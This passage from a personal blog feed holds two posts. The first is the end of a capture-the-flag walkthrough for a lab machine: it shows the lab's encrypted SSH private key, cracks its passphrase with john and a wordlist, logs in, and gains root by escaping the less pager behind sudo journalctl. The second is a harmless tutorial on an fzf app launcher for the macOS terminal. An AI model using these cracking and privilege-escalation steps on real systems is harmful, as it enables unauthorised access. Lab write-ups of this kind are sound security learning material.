seyeH/feG19TlUaMdvHZK/2qfy8pwwdr9sg75x4hPpJJ8YauhWorCN4LPJV+wfCG
tuiBPfZy+ZPklLkOneIggoruLkVGW4k4651pwekZnjsT8IMM3jndLNSRkjxCTX3W
KzW9VFPujSQZnHM9Jho6J8O8LTzl+s6GjPpFxjo2Ar2nPwjofdQejPBeO7kXwDFU
RJUpcsAtpHAbXaJI9LFyX8IhQ8frTOOLuBMmuSEwhz9KVjw2kiLBLyKS+sUT9/V7
HHVHW47Y/EVFgrEXKu0OP8rFtYULQ+7k7nfb7fHIgKJ/6QYZe69r0AXEOtv44zIc
Y1OMGryQp5CVztcCHLyS/9GsRB0d0TtlqY2LXk+1nuYPyyZJhyngE7bP9jsp+hec
dTRqVqTnP7zI8GyKTV+KNgA0m7UWQNS+JgqvSQ9YDjZIwFlA8jxJP9HsuWWXT0ZN
6pmYZc/rNkCEl2l/oJbaJB3jP/1GWzo/q5JXA6jjyrd9xZDN5bX2E2gzdcCPd5qO
xwzna6js2kMdCxIRNVErnvSGBIBS0s/OnXpHnJTjMrkqgrPWCeLAf0xEPTgktqi1
Q2IMJqhW9LkUs48s+z72eAhl8naEfgn+fbQm5MMZ/x6BCuxSNWAFqnuj4RALjdn6
i27gesRkxxnSMZ5DmQXMrrIBuuLJ6gHgjruaCpdh5HuEHEfUFqnbJobJA3Nev54T
fzeAtR8rVJHlCuo5jmu6hitqGsjyHFJ/hSFYtbO5CmZR0hMWl1zVQ3CbNhjeIwFA
bzgSzzJdKYbGD9tyfK3z3RckVhgVDgEMFRB5HqC+yHDyRb+U5ka3LclgT1rO+2so
uDi6fXyvABX+e4E4lwJZoBtHk/NqMvDTeb9tdNOkVbTdFc2kWtz98VF9yoN82u8I
Ak/KOnp7lzHnR07dvdD61RzHkm37rvTYrUexaHJ458dHT36rfUxafe81v6l6RM8s
9CBrEp+LKAA2JrK5P20BrqFuPfWXvFtROLYepG9eHNFeN4uMsuT/55lbfn5S41/U
rGw0txYInVmeLR0RJO37b3/haSIrycak8LZzFSPUNuwqFcbxR8QJFqqLxhaMztua
4mOqrAeGFPP8DSgY3TCloRM0Hi/MzHPUIctxHV2RbYO/6TDHfz+Z26ntXPzuAgRU
/8Gzgw56EyHDaTgNtqYadXruYJ1iNDyArEAu+KvVZhYlYjhSLFfo2yRdOuGBm9AX
JPNeaxw0DX8UwGbAQyU0k49ePBFeEgQh9NEcYegCoHluaqpafxYx2c5MpY1nRg8+
XBzbLF9pcMxZiAWrs4bWUqAodXfEU6FZv7dsatTa9lwH04aj/5qxEbJuwuAuW5Lh
hORAZvbHuIxCzneqqRjS4tNRm0kF9uI5WkfK1eLMO3gXtVffO6vDD3mcTNL1pQuf
SP0GqvQ1diBixPMx+YkiimRggUwcGnd3lRBBQ2MNwWt59Rri3Z4Ai0pfb1K7TvOM
j1aQ4bQmVX8uBoqbPvW0/oQjkbCvfR4Xv6Q+cba/FnGNZxhHR8jcH80VaNS469tt
VeYniFU/TGnRKDYLQH2x0ni1tBf0wKOLERY0CbGDcquzRoWjAmTN/PV2VbEKKD/w
<span class="nt">-----END</span> RSA PRIVATE KEY-----
</code></pre></div></div>
<p>Time to break out <code class="language-plaintext highlighter-rouge">john</code> to crack this encrypted RSA key. Save this key to a file and run <code class="language-plaintext highlighter-rouge">john</code> like this:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>ssh2john.py david_id_rsa <span class="o">></span> ssh2john.david_id_rsa
<span class="nv">$ </span>john ssh2john.david_id_rsa <span class="nt">-w</span><span class="o">=</span>~/tools/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password <span class="nb">hash</span> <span class="o">(</span>SSH <span class="o">[</span>RSA/DSA/EC/OPENSSH <span class="o">(</span>SSH private keys<span class="o">)</span> 32/64]<span class="o">)</span>
Cost 1 <span class="o">(</span>KDF/cipher <span class="o">[</span><span class="nv">0</span><span class="o">=</span>MD5/AES <span class="nv">1</span><span class="o">=</span>MD5/3DES <span class="nv">2</span><span class="o">=</span>Bcrypt/AES]<span class="o">)</span> is 0 <span class="k">for </span>all loaded hashes
Cost 2 <span class="o">(</span>iteration count<span class="o">)</span> is 1 <span class="k">for </span>all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit <span class="nb">false </span>positives, so it will keep trying even after
finding a possible candidate.
Press <span class="s1">'q'</span> or Ctrl-C to abort, almost any other key <span class="k">for </span>status
hunter <span class="o">(</span>david_id_rsa<span class="o">)</span>
1g 0:00:00:04 DONE <span class="o">(</span>2020-04-07 08:58<span class="o">)</span> 0.2004g/s 2874Kp/s 2874Kc/s 2874KC/s <span class="k">*</span>7¡Vamos!..clarus
Session completed
</code></pre></div></div>
<p>The cracked password is <code class="language-plaintext highlighter-rouge">hunter</code>. Let’s try to use this key to <code class="language-plaintext highlighter-rouge">ssh</code> into the machine.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">chmod </span>700 david_id_rsa
<span class="nv">$ </span>ssh david@10.10.10.165 <span class="nt">-i</span> david_id_rsa
Enter passphrase <span class="k">for </span>key <span class="s1">'david_id_rsa'</span>: <span class="c"># hunter</span>
Linux traverxec 4.19.0-6-amd64 <span class="c">#1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64</span>
Last login: Tue Apr 7 01:01:28 2020 from 10.10.14.15
david@traverxec:~<span class="nv">$ </span><span class="nb">wc </span>user.txt
1 1 33 user.txt
</code></pre></div></div>
<p>And there is our user proof.</p>
<h3 id="root-privilege-escalation">Root Privilege Escalation</h3>
<p>There’s a peculiar shell script in <code class="language-plaintext highlighter-rouge">/home/david/bin/server-stats.sh</code>.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>
<span class="nb">cat</span> /home/david/bin/server-stats.head
<span class="nb">echo</span> <span class="s2">"Load: </span><span class="sb">`</span>/usr/bin/uptime<span class="sb">`</span><span class="s2">"</span>
<span class="nb">echo</span> <span class="s2">" "</span>
<span class="nb">echo</span> <span class="s2">"Open nhttpd sockets: </span><span class="sb">`</span>/usr/bin/ss <span class="nt">-H</span> sport <span class="o">=</span> 80 | /usr/bin/wc <span class="nt">-l</span><span class="sb">`</span><span class="s2">"</span>
<span class="nb">echo</span> <span class="s2">"Files in the docroot: </span><span class="sb">`</span>/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc <span class="nt">-l</span><span class="sb">`</span><span class="s2">"</span>
<span class="nb">echo</span> <span class="s2">" "</span>
<span class="nb">echo</span> <span class="s2">"Last 5 journal log lines:"</span>
/usr/bin/sudo /usr/bin/journalctl <span class="nt">-n5</span> <span class="nt">-unostromo</span>.service | /usr/bin/cat
</code></pre></div></div>
<p>Running this script does <strong>not</strong> prompt us for a sudo password. This is a fantastic sign. I checked out the <code class="language-plaintext highlighter-rouge">journalctl</code> page on <a href="https://gtfobins.github.io/gtfobins/journalctl/">GTFObins</a> and found that <code class="language-plaintext highlighter-rouge">journalctl</code> invokes the default pager, which is normally <code class="language-plaintext highlighter-rouge">less</code>. We can see that <code class="language-plaintext highlighter-rouge">less</code> has root privileges with:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>david@traverxec:~/bin<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-l</span> <span class="sb">`</span>which less<span class="sb">`</span>
<span class="nt">-rwxr-xr-x</span> 1 root root 166664 May 7 2018 /usr/bin/less
</code></pre></div></div>
<p>We can use a standard <code class="language-plaintext highlighter-rouge">less</code> escape to get a <code class="language-plaintext highlighter-rouge">root</code> shell, provided that we can make <code class="language-plaintext highlighter-rouge">less</code> be used as an output pager. In order to do this, your terminal size must be smaller than the coming output! I copy the <code class="language-plaintext highlighter-rouge">server-stats.sh</code> file to <code class="language-plaintext highlighter-rouge">server-stats.2.sh</code>, and remove the <code class="language-plaintext highlighter-rouge">| /usr/bin/cat</code> from the last line. I run the script with <code class="language-plaintext highlighter-rouge">$ ./server-stats.2.sh</code> and land in a <code class="language-plaintext highlighter-rouge">less</code> process. Typing <code class="language-plaintext highlighter-rouge">!/bin/bash</code> and hitting <code class="language-plaintext highlighter-rouge">ENTER</code> gives me a <code class="language-plaintext highlighter-rouge">root</code> shell.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@traverxec:/home/david/bin# <span class="nb">whoami
</span>root
root@traverxec:/home/david/bin# <span class="nb">wc</span> /root/root.txt
1 1 33 /root/root.txt
</code></pre></div></div>
<p>And there we have it! I really enjoyed this box, even though I struggled for hours to figure out the <code class="language-plaintext highlighter-rouge">root</code> privilege escalation</p>Aaron LichtmanExploiting a vulnerable HTTP server (nostromo) to get a reverse shell. Then finding an archived, encrypted SSH key that we crack with john to escalate to user privileges. And then using less to escalate to root privileges.Launching Apps from the macOS Terminal2019-10-18T12:34:30-07:002019-10-18T12:34:30-07:00https://alichtman.github.io/blog/launching-apps-macos-terminal<p><img src="/assets/images/launch-demo.gif" alt="launch demo" /></p>
<blockquote>
<p>9/5/2020 Update: Siddharth Dushantha cleaned up this function and added the ability to launch system apps in this <a href="https://github.com/alichtman/dotfiles/pull/2/files">PR</a>. The updated function is:</p>
</blockquote>
<div class="language-zsh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">function </span>launch<span class="o">()</span> <span class="o">{</span>
open <span class="nt">-a</span> <span class="s2">"</span><span class="si">$(</span>find /Applications /System/Applications/ /System/Applications/Utilities <span class="nt">-name</span> <span class="s1">'*app'</span> <span class="nt">-maxdepth</span> 1 <span class="nt">-exec</span> <span class="nb">basename</span> <span class="o">{}</span> .app <span class="se">\;</span> | fzf <span class="nt">--query</span> <span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span><span class="si">)</span><span class="s2">"</span>
<span class="o">}</span>
</code></pre></div></div>
<blockquote>
<p>The original post can be found below.</p>
</blockquote>
<hr />
<p>Using <a href="https://www.github.com/junegunn/fzf">fzf</a> and Unix pipes, I hacked together a fuzzy command line launcher for <code class="language-plaintext highlighter-rouge">zsh</code>. You can add this snippet to your <code class="language-plaintext highlighter-rouge">.zshrc</code> to get this functionality. Remember to source your <code class="language-plaintext highlighter-rouge">~/.zshrc</code> to process the changes in your shell session.</p>
<div class="language-zsh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>launch <span class="o">()</span> <span class="o">{</span>
open <span class="nt">-a</span> <span class="s2">"</span><span class="sb">`</span>find /Applications <span class="nt">-name</span> <span class="s1">'*app'</span> <span class="nt">-maxdepth</span> 1 | <span class="nb">cut</span> <span class="nt">-d</span><span class="s1">'/'</span> <span class="nt">-f</span> 3 | <span class="nb">cut</span> <span class="nt">-d</span><span class="s1">'.'</span> <span class="nt">-f</span> 1 | fzf <span class="nt">--query</span><span class="o">=</span><span class="nv">$1</span><span class="sb">`</span><span class="s2">"</span>
<span class="o">}</span>
</code></pre></div></div>
<h2 id="how-it-works">How It Works</h2>
<p>Let’s walk through the process of building this tool.</p>
<p>The first thing we need is a list of all the applications in the <code class="language-plaintext highlighter-rouge">/Applications</code> directory. We can get this with the <code class="language-plaintext highlighter-rouge">find</code> command.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>find /Applications <span class="nt">-name</span> <span class="s1">'*app'</span> <span class="nt">-maxdepth</span> 1
/Applications/Siri.app
/Applications/Visual Studio Code.app
/Applications/OWASP ZAP.app
/Applications/QuickTime Player.app
/Applications/Signal.app
...
</code></pre></div></div>
<p>We could just display this list in <code class="language-plaintext highlighter-rouge">fzf</code> for a user to choose from, but I’d like to clean up the app names by removing <code class="language-plaintext highlighter-rouge">/Applications/</code> and <code class="language-plaintext highlighter-rouge">.app</code> from each option. We can do that by joining two <code class="language-plaintext highlighter-rouge">cut</code> commands. This first cut trims everything before the 2nd <code class="language-plaintext highlighter-rouge">/</code>.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>find /Applications <span class="nt">-name</span> <span class="s1">'*app'</span> <span class="nt">-maxdepth</span> 1 | <span class="nb">cut</span> <span class="nt">-d</span><span class="s1">'/'</span> <span class="nt">-f</span> 3
Siri.app
Visual Studio Code.app
OWASP ZAP.app
QuickTime Player.app
Signal.app
...
</code></pre></div></div>
<p>Then we pipe that into a second cut to get rid of the <code class="language-plaintext highlighter-rouge">.app</code> suffix.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>find /Applications <span class="nt">-name</span> <span class="s1">'*app'</span> <span class="nt">-maxdepth</span> 1 | <span class="nb">cut</span> <span class="nt">-d</span><span class="s1">'/'</span> <span class="nt">-f</span> 3 | <span class="nb">cut</span> <span class="nt">-d</span><span class="s1">'.'</span> <span class="nt">-f</span> 1
Siri
Visual Studio Code
OWASP ZAP
QuickTime Player
Signal
...
</code></pre></div></div>
<p>And now we can pipe this into <code class="language-plaintext highlighter-rouge">fzf</code> to get a nice, fuzzy-searchable interface.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>find /Applications <span class="nt">-name</span> <span class="s1">'*app'</span> <span class="nt">-maxdepth</span> 1 | <span class="nb">cut</span> <span class="nt">-d</span><span class="s1">'/'</span> <span class="nt">-f</span> 3 | <span class="nb">cut</span> <span class="nt">-d</span><span class="s1">'.'</span> <span class="nt">-f</span> 1 | fzf
</code></pre></div></div>
<p><img src="/assets/images/fzf-demo-find.gif" alt="fzf find demo" /></p>
<p>That’s nice, but sometimes I know a portion of the app name and can start searching before the <code class="language-plaintext highlighter-rouge">fzf</code> prompt is brought up. We can implement that with <code class="language-plaintext highlighter-rouge">fzf</code>’s <code class="language-plaintext highlighter-rouge">--query</code> option. If we wrap this command inside a <code class="language-plaintext highlighter-rouge">zsh</code> function, arguments can be passed to it.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>launch <span class="o">()</span> <span class="o">{</span>
find /Applications <span class="nt">-name</span> <span class="s1">'*app'</span> <span class="nt">-maxdepth</span> 1 | <span class="nb">cut</span> <span class="nt">-d</span><span class="s1">'/'</span> <span class="nt">-f</span> 3 | <span class="nb">cut</span> <span class="nt">-d</span><span class="s1">'.'</span> <span class="nt">-f</span> 1 | fzf <span class="nt">--query</span><span class="o">=</span><span class="nv">$1</span>
<span class="o">}</span>
</code></pre></div></div>
<p>This function will go through the process of extracting all application names and displaying them in a <code class="language-plaintext highlighter-rouge">fzf</code> window, and will also pre-fill the <code class="language-plaintext highlighter-rouge">fzf</code> search with an argument you can pass in, like this:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>launch Spotif
<span class="c"># Note that this will still work with no search parameters, since the first argument ($1) will evaluate to ""</span>
<span class="nv">$ </span>launch
</code></pre></div></div>
<p>At this point, we are able to search through a list of applications and get whichever one is selected printed to standard output by <code class="language-plaintext highlighter-rouge">fzf</code>. Now, we need to actually open whatever is selected. <code class="language-plaintext highlighter-rouge">macOS</code> comes with a nice tool to open files and applications, called <code class="language-plaintext highlighter-rouge">open</code>. Check out <code class="language-plaintext highlighter-rouge">$ man open</code> if you’re interested in learning more about it.</p>
<p>We can use it by simply piping the output from <code class="language-plaintext highlighter-rouge">fzf</code> into the <code class="language-plaintext highlighter-rouge">open</code> command with the <code class="language-plaintext highlighter-rouge">-a</code> flag, specifying we want to open an Application. To make this work, we need to use a <code class="language-plaintext highlighter-rouge">bash</code> feature called <a href="https://www.gnu.org/savannah-checkouts/gnu/bash/manual/bash.html#Command-Substitution">“Command Substitution”</a>. This will allow us to use the standard output of the <code class="language-plaintext highlighter-rouge">fzf</code> command in another command to actually open the application.</p>
<div class="language-zsh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>launch <span class="o">()</span> <span class="o">{</span>
open <span class="nt">-a</span> <span class="s2">"</span><span class="sb">`</span>find /Applications <span class="nt">-name</span> <span class="s1">'*app'</span> <span class="nt">-maxdepth</span> 1 | <span class="nb">cut</span> <span class="nt">-d</span><span class="s1">'/'</span> <span class="nt">-f</span> 3 | <span class="nb">cut</span> <span class="nt">-d</span><span class="s1">'.'</span> <span class="nt">-f</span> 1 | fzf <span class="nt">--query</span><span class="o">=</span><span class="nv">$1</span><span class="sb">`</span><span class="s2">"</span>
<span class="o">}</span>
</code></pre></div></div>
<p>Note: The surrounding double-quotes on the command substitution are important for handling cases where the app name contains a space. Let’s take a look at an example:</p>
<div class="language-zsh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>open <span class="nt">-a</span> QuickTime Player.app
The file /Users/alichtman/Player.app does not exist.
<span class="c"># Error!</span>
<span class="nv">$ </span>open <span class="nt">-a</span> <span class="s2">"QuickTime Player.app"</span>
<span class="c"># QuickTime opens</span>
</code></pre></div></div>
<p>In the first example, the shell split the arguments to <code class="language-plaintext highlighter-rouge">open -a</code> on the space, treating <code class="language-plaintext highlighter-rouge">QuickTime</code> and <code class="language-plaintext highlighter-rouge">Player.app</code> as two separate files to open. The double-quotes tell the shell not to word split.</p>
<h3 id="parting-words">Parting Words</h3>
<p>Shell scripting is a little tricky at first (and continues to be tricky, even as you get better at it), but you can create some incredibly powerful workflows with it. It’s well worth investing the time in learning some basic shell scripting!</p>
<p>If you enjoyed reading this walkthrough, take a look at my <a href="https://www.github.com/alichtman/dotfiles">dotfiles</a> to find some more shell workflows I use regularly.</p>Aaron Lichtman